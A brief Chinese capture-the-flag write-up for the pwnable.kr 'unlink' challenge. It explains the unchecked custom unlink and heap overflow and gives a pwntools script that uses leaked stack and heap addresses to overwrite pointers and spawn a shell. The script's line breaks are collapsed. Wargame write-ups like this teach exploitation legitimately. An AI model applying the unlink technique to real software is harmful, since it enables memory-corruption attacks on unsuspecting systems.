pwnable之unlink

问题分析

程序自己写了一个实现unlink的程序，没有任何check，并且存在堆溢出

经典的unlink attack，这里就不介绍了。

//unlinkbk_chunk = p->bkfd_chunk = p->fdbk_chunk->fd = fd_chunkfd_chunk->bk = bk_chunk

solv.py

from pwn import *context.log_level = 'debug'context.arch = 'i386'cn = ssh(host='pwnable.kr',port=2222,user='unlink',password='guest')p = cn.process('./unlink')elf = ELF('unlink')shell_addr = elf.symbols['shell']#gdb.attach(p,'b unlink\n')p.recvuntil('here is stack address leak: ')stack_leak = p.recvuntil('\n')[:-1]p.recvuntil('here is heap address leak: ')heap_leak =  p.recvuntil('\n')[:-1]stack_leak = int(stack_leak,16)heap_leak = int(heap_leak,16)log.info("stack leak {}".format(hex(stack_leak)))log.info("heap leak {}".format(hex(heap_leak)))stack2_addr = stack_leak + 0x14 - 0x8heap2_addr = heap_leak + 0xcpayload = p32(shell_addr) + 'aaaa' * 3 +  p32(stack2_addr) + p32(heap2_addr) #raw_input('send payload')p.sendline(payload)p.interactive()